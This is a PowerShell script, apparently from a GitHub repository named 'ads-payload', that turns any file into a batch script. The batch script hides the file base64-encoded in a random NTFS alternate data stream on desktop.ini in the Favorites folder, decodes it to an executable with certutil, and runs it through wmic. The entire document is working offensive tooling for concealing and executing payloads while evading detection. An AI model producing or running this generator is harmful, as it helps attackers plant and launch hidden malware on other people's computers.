ads-payload/create-payload.ps1 at master · ChrisAD/ads-payload · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 Write-Host "
    _____  ________    _________ __________               .__                    .___
  /  _  \ \______ \  /   _____/ \______   \_____  ___.__.|  |   _________     __| _/
 /  /_\  \ |    |  \ \_____  \   |     ___/\__  \<   |  ||  |  /  _ \__  \   / __ |
/    |    \|    `   \/        \  |    |     / __ \\___  ||  |_(  <_> ) __ \_/ /_/ |
\____|__  /_______  /_______  /  |____|    (____  / ____||____/\____(____  /\____ |
        \/        \/        \/                  \/\/                     \/      \/
		by @chrisadale
		"

Write-Host "Taking in file: $($args[0])"
$file = $args[0]
$payload = Get-Content -Path $file -AsByteStream
$base64 = [System.Convert]::ToBase64String($payload)
$maximumCommandLength=1000
$payloadLength = $base64.length
$pieces = [Math]::Ceiling($payloadLength/$maximumCommandLength)
#Write-Host "Payload is $($payloadLength) bytes. Windows maximum cmd length is $($maximumCommandLength). Splitting into $($pieces) pieces."
$pnt=0
$result=""
while ($pnt -lt $pieces-1) {
	#Write-Host "Start payload $($pnt) : $($pnt*$maximumCommandLength) going in this deep: $(($pnt*$maximumCommandLength)+$maximumCommandLength)"
	$result += "set param$($pnt)=$($base64.substring(($pnt*$maximumCommandLength), $maximumCommandLength))"
	$result += "`r`n"
	#Write-Host $result
	$pnt++;
}
$remain = $payloadLength-($pnt*$maximumCommandLength)
$result += "set param$($pnt)=$($base64.substring(($pnt*$maximumCommandLength),$remain))"
$result += "`r`n"
$result += ""
$chars    = "abcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
$random = ""
for ($x = 0; $x -lt 16; $x++) {
    $random += $chars | Get-Random
}
$oldPnt = $pnt
$pnt = 0
while ($pnt -le $oldPnt) {
$result += "echo|set /p=%param$($pnt)%>>%userprofile%\Favorites\desktop.ini:$($random)"
$result += "`r`n"
$pnt++;
}

$result += "certutil -decode %userprofile%\Favorites\desktop.ini:$($random) %userprofile%\Favorites\desktop.ini:$($random).exe"
$result += "`r`n"
$result += "echo `"`" >> %userprofile%\Favorites\desktop.ini"
$result += "`r`n"
$result += "wmic process call create `"%userprofile%\Favorites\desktop.ini:$($random).exe`""
#Write-Host $result
$result | Out-File -Encoding utf8 "$($random).bat"
write-host "Created file $random.bat"